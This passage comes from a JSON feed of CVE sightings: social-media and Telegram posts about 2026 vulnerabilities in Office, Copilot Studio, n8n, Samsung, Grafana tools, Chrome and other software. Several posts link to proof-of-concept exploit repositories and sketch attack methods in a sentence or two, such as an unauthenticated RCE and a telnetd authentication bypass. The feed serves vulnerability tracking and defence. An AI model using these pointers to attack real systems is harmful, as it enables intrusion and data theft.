\u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u0445.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435 MS Office \u0433\u043e\u0441\u043f\u043e\u0434\u0430.\n\n\ud83d\udd17 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21509", "creation_timestamp": "2026-07-13T00:00:16.234418Z"}, {"uuid": "3c63d429-b939-4dce-b365-b4944213e3e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21520", "type": "published-proof-of-concept", "source": "https://t.me/securixy_kz/1313", "content": "\ud83d\udea8 CVE\u20112026\u201121520 - \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 Microsoft Copilot Studio\n\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0440\u0438\u0441\u043a: \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440.\n\u0411\u0435\u0437 \u043f\u0440\u0430\u0432. \u0411\u0435\u0437 \u0442\u043e\u043a\u0435\u043d\u043e\u0432. \u0411\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\nCVSS: 7.5 HIGH\n\u0412\u0435\u043a\u0442\u043e\u0440: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c tenant\u2011\u0434\u0430\u043d\u043d\u044b\u0435 Copilot Studio:\n\u2022 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0430\u0433\u0435\u043d\u0442\u043e\u0432\n\u2022 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043a\u043e\u043d\u043d\u0435\u043a\u0442\u043e\u0440\u043e\u0432\n\u2022 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435\n\u2022 \u0434\u0438\u0430\u0433\u043d\u043e\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0445 \u0430\u0442\u0430\u043a\n\n\ud83d\udd27 \u041c\u0438\u0442\u0438\u0433\u0430\u0446\u0438\u0438:\n1. \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f MSRC\n2. \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043a\u043e\u043d\u043d\u0435\u043a\u0442\u043e\u0440\u044b \u0438 \u0442\u043e\u043a\u0435\u043d\u044b\n\n\ud83d\udd0d \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438:\nhttps://windowsforum.com/threads/cve-2026-21520-copilot-studio-information-disclosure-and-mitigations.398290/", "creation_timestamp": "2026-07-13T00:00:16.400719Z"}, {"uuid": "08f3816e-e380-416c-8a29-4b72b0b29427", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21029", "type": "seen", "source": "https://bsky.app/profile/smit-artem.bsky.social/post/3mqjv4tje2q2w", "content": "Heads up: an important security fix just landed for Samsung Android. Open its settings and let it update. A couple of taps now keeps your data safer. CVE-2026-21029", "creation_timestamp": "2026-07-13T14:19:10.353922Z"}, {"uuid": "7bd46754-df6e-411f-8f6b-fc3ce9f992ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21728", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqk7r7dkix2c", "content": "\u0423\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 CVE-2026-21728: \u043a\u0430\u043a Tempo-queries \u0441 \u0431\u043e\u043b\u044c\u0448\u0438\u043c\u0438 \u043b\u0438\u043c\u0438\u0442\u0430\u043c\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0437\u043a\u0443 \u043f\u0430\u043c\u044f\u0442\u0438\n\n\n\nhttps://kripta.biz/posts/A85512DF-66F2-44F7-A5BB-40195619BDF6", "creation_timestamp": "2026-07-13T17:29:22.840829Z"}, {"uuid": "7b9dd473-2aaa-4640-b406-c022551aa60a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "https://t.me/GithubRedTeam/92154", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #Nuclei\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21858\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sh4den\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 3  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-06 08:39:07\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nProof of Concept: CVE-2026-21858 is vulnerability on n8n where unauthenticated remote attackers can access sensitive files.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:11.347728Z"}, {"uuid": "609e55ba-bb3a-4179-9b62-ab15dfcd38b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21852", "type": "seen", "source": "https://t.me/GithubRedTeam/89951", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a dotclaude-security\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Perufitlife\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a JavaScript\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-21 11:51:15\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nScan a repo's .claude/ config (settings.json hooks, MCP servers, env, allowed-tools) for the RCE & API-key-exfiltration footguns (CVE-2025-59536, CVE-2026-21852) that fire when you clone+open an untrusted repository. Static, zero-dep, local-first.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:22.045831Z"}, {"uuid": "2f74c3ac-c367-4f75-a12d-e47763a999e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "https://t.me/GithubRedTeam/89978", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-21858\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Fomovet\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-21 14:31:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPOC for CVE-2026-21858\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:21.758084Z"}, {"uuid": "96c6b174-f658-47d1-ab30-08c90198137e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21018", "type": "seen", "source": "https://t.me/GithubRedTeam/90174", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21018\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Filipemendonca1978\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Java\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-23 00:59:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA minimal PoC for CVE-2026-21018, demonstrating how it works\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:21.183903Z"}, {"uuid": "20fdc2be-eadf-4e0d-a0e9-5de48726f3c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-17)", "content": "", "creation_timestamp": "2026-08-18T10:15:13.379065Z"}, {"uuid": "515d4741-2d07-4d05-99cc-2ec9617a5b20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21580", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtgjlhz77l23", "content": "CVE-2026-21580 - confluence data center\nAn attacker can run malicious code on your browser, access higher-privileged user accounts, and gain system access if security best practices are not followed. To fix this,\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#atlassian #CVE #infosec", "creation_timestamp": "2026-08-19T10:30:04.468001Z"}, {"uuid": "3d6799c3-d351-4a35-b5c9-3a60f9c7a377", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/89978", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-21858\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Fomovet\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-21 14:31:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPOC for CVE-2026-21858\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:18.860682Z"}, {"uuid": "cb0f8255-1e6b-48f6-97eb-aaf89060d025", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21018", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/90174", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21018\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Filipemendonca1978\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Java\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-23 00:59:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA minimal PoC for CVE-2026-21018, demonstrating how it works\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:19.400076Z"}, {"uuid": "8cfb8a00-d05b-42cf-acef-21646d6446be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92154", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #Nuclei\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21858\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sh4den\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 3  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-06 08:39:07\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nProof of Concept: CVE-2026-21858 is vulnerability on n8n where unauthenticated remote attackers can access sensitive files.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:30.456099Z"}, {"uuid": "493cdc74-22f6-4bab-9c62-bbc77067ba33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-14)", "content": "", "creation_timestamp": "2026-07-15T10:15:06.728216Z"}, {"uuid": "5eb9c88d-175a-4e68-bc3f-286e0d2c87a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21729", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqqd3lprw32a", "content": "CVE-2026-21729 - Loki detected_fields query limits results in unbounded memory allocation\nCVE ID : CVE-2026-21729\n \n Published : July 16, 2026, 3:12 a.m. | 23\u00a0minutes ago\n \n Description : Loki queries with large limits can cause large memory allocations which can impact the av...", "creation_timestamp": "2026-07-16T03:44:51.138367Z"}, {"uuid": "20e93b4f-1594-40f5-aa73-7f2ef73a89ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21383", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260716", "content": "", "creation_timestamp": "2026-07-16T04:45:55.985139Z"}, {"uuid": "78abe495-561e-4b54-8f26-98b5b0b07adf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17085", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected for research and exploit analysis.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/b1gchoi/CVE-2026-2441_POC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine allows attackers to achieve arbitrary code execution within the browser sandbox.\nThe PoC demonstrates memory corruption triggered via crafted CSS and layout processing.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Confirmed exploitation in the wild\n\u2022 Potential full exploit chain\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-1357\n\ud83c\udfaf WordPress WPvivid Plugin \u2013 Unauthenticated RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/cybertechajju/CVE-2026-1357-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in the WPvivid Backup & Migration plugin allows unauthenticated attackers to upload malicious files and execute code on the server.\n\n\u2699\ufe0f Impact\n\u2022 Unauthenticated remote code execution\n\u2022 Full WordPress site compromise\n\u2022 High severity (critical risk)\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA flaw in telnetd allows attackers to bypass authentication by injecting crafted environment variables using the NEW_ENVIRON option.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root shell access\n\u2022 Critical infrastructure exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-25755\n\ud83c\udfaf jsPDF \u2013 PDF Object Injection\n\n\ud83d\udd17 PoC / Research\nhttps://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md\n\n\ud83e\udde0 Overview\nA vulnerability in jsPDF allows attackers to inject arbitrary content into generated PDF files due to improper input sanitization.\n\n\u2699\ufe0f Impact\n\u2022 Malicious PDF injection\n\u2022 Security control bypass\n\u2022 Document-based attack vector\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office \u2013 Security Feature Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA crafted Office document can bypass certain security protections, enabling potential malicious payload delivery.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Malicious document vector\n\u2022 Detection evasion scenarios\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Red team / blue team exercises\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:09.500085Z"}, {"uuid": "5b9e114d-eecf-41cb-82ca-ebf29ec93d98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17066", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are fresh CVE PoC repositories actively updated or recently surfaced on GitHub, selected to avoid duplicates and outdated entries.\n\n1\ufe0f\u20e3 CVE-2026-20841\n\ud83c\udfaf Windows Notepad \u2013 Potential RCE (PoC)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/BTtea/CVE-2026-20841-PoC\n\n\ud83e\udde0 Overview\nA Proof-of-Concept targeting Windows Notepad (< 11.2510) demonstrates a possible remote code execution scenario through crafted input handling.\n\n\u2699\ufe0f Impact\n\u2022 Potential RCE vector\n\u2022 Local exploitation scenario\n\u2022 Early-stage PoC (research-focused)\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-28292\n\ud83c\udfaf simple-git (Node.js) \u2013 Remote Code Execution\n\n\ud83e\udde0 Overview\nA critical vulnerability in the widely used simple-git library allows attackers to achieve remote code execution due to improper case-sensitive validation in security logic.\nA single missing regex flag allows bypass of previous security patches.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Patch bypass\n\u2022 Affects millions of installations\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-29000\n\ud83c\udfaf pac4j-jwt \u2013 Authentication Bypass (CVSS 10)\n\n\ud83e\udde0 Overview\nA critical flaw in pac4j-jwt allows attackers to forge authentication tokens using only a public key, enabling full account takeover.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Admin account takeover\n\u2022 CVSS 10.0 Critical\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-21858\n\ud83c\udfaf n8n Workflow \u2013 Critical Vulnerability Detection / Exploit Path\n\n\ud83d\udd17 GitHub Topic\nhttps://github.com/topics/cve-2026-21858\n\n\ud83e\udde0 Overview\nA critical vulnerability affecting n8n workflow automation platforms, with tools and PoC-related detection scripts available on GitHub.\n\n\u2699\ufe0f Impact\n\u2022 Workflow compromise\n\u2022 Automation abuse\n\u2022 CVSS 10.0\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-XXXX (Fresh Aggregated PoC Stream)\n\ud83c\udfaf Live GitHub PoC Feed (Auto-Collected CVEs)\n\n\ud83d\udd17 Repository\nhttps://github.com/nomi-sec/PoC-in-GitHub\n\n\ud83e\udde0 Overview\nThis repository continuously collects newly published CVE PoCs across GitHub, making it one of the most reliable sources for real-time vulnerability tracking.\n\n\u2699\ufe0f Impact\n\u2022 Continuous PoC discovery\n\u2022 Daily vulnerability tracking\n\u2022 Research automation source\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese entries are useful for:\n\u2022 Tracking real PoC release timing\n\u2022 Studying patch bypass techniques\n\u2022 Monitoring emerging exploit trends\n\u2022 Building automated CVE intelligence pipelines\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:08.840451Z"}, {"uuid": "30a9f895-fa3b-4fca-b00e-c09ae1fa997a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21728", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mqqrkf7pqt2y", "content": "\u05d7\u05e9\u05d9\u05e4\u05d4: \u05e4\u05d2\u05d9\u05e2\u05d4 \u05d1-Tempo - CVE-2026-21728: \u05e9\u05d0\u05dc\u05d5\u05ea \u05e2\u05dd \u05d2\u05d1\u05d5\u05dc\u05d5\u05ea \u05d2\u05d3\u05d5\u05dc\u05d9\u05dd \u05e2\u05dc\u05d5\u05dc\u05d5\u05ea \u05dc\u05d2\u05e8\u05d5\u05dd \u05dc\u05d4\u05e4\u05e6\u05ea \u05d6\u05d9\u05db\u05e8\u05d5\u05df\n\n\n\nhttps://khesef.xyz/posts/8664A9BD-97E6-445B-BF59-883763F4905B", "creation_timestamp": "2026-07-16T08:03:40.112870Z"}, {"uuid": "5bab1350-47a3-4075-b6da-375cb6d762bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21045", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/93614", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21045_and_CVE-2026-21048\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Filipemendonca1978\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-15 22:23:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSamsung libimagecodec.quram.so OOB Write PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-16T12:00:05.220603Z"}, {"uuid": "abd65ba5-b782-4f71-ae33-966a4b13609d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21048", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/93614", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21045_and_CVE-2026-21048\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Filipemendonca1978\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-15 22:23:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSamsung libimagecodec.quram.so OOB Write PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-16T12:00:05.255960Z"}, {"uuid": "e51a4cf1-c549-41ec-94e1-9d12b2881849", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21628", "type": "seen", "source": "https://t.me/GithubRedTeam/93441", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21628-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a webshellseo8\n\ud83d\udee0 